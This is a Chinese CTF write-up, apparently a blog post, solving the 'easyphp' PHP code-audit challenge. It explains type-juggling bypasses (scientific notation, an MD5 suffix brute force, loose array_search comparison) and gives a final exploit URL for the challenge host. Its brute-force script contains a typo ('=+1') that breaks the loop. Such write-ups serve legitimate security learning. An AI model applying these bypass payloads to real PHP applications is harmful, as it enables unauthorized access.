攻防世界easyphp

打开也面试代码审计:

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

最近学习代码审计,学到了一个新的方法,就是逆向代码审计,就是从输出点开始看。

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}//key1&key2的值都为真的时候就会输出flag.

看看有哪些条件,分别有两个条件,开始分析:

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){//intval($a)让a的值转换成整数,检查他的值是否大雨6000000,检查a的长度是否为3,
    if(isset($b) && '8b184b' === substr(md5($b),-6,
6)){ //sybsttr()函数截取最后6位的值是否为‘8b184b’
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}
想到了科学记数法:
在低版本的php中,科学计数法1e9的长度为3。
为了找到b的值,需要写一个简单的简本
<?php
$b=0;
while(true){
    if('8b184b' === substr(md5($b),-6,6)){
    echo $b;
    break;
   } 
    $b =+1;
        }
?>

通过以上的步骤拿到了a,b的值,可以构造半个payload了。第二个条件是:

$c=(array)json_decode(@$_GET['c']);//通过c传入json数据,用(array)强制转换为数组。
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){//检查$c是否为数组,检查$c['m']是否为数字,且$c['m']的值是否大于2022
这里的考点是在低版本的PHP中如果数字中含有字母,那么PHP会把数字当作字符串来算他的值。所以可以让$c['m']=2023c
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){//检查$c['m'] 是否为数组,且含有的数组的元素的数量是否为2,is_array['n'][0]检查第一个元素是是否为一个数组
        $d = array_search("DGGJ", $c["n"]);//遍历$is_array['n']中是否包含DGGJ
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){//遍历$c['n']中是否包含$key=>$val
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;

要注意的是c是json数据,详细的注释写在上面了,这里有一个矛盾的条件:

$d = array_search("DGGJ", $c["n"]);//遍历$is_array['n']中是否包含DGGJ
        $d === false?die("no..."):NULL; 

这里如果数组中存在DGGJ的话会执行程序。

 foreach($c["n"] as $key=>$val){//遍历$c['n']中是否包含$key=>$val
            $val==="DGGJ"?die("no......"):NULL;
        }

如果数组中包含DGGJ的话会终止程序,想到了在低版本的php中,array_search()函数的底层逻辑是弱类型匹配(==),'DGGJ' ==0,那么就开始得到c的值。

$c = {"m" : "2023c" , "n" : [[], 0]}最后构造出来的payload是;


 http://61.147.171.105:58668/?a=1e9&b=53724&c={%22m%22:%222023C%22,%22n%22:[[],0]}

 就拿到flag:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值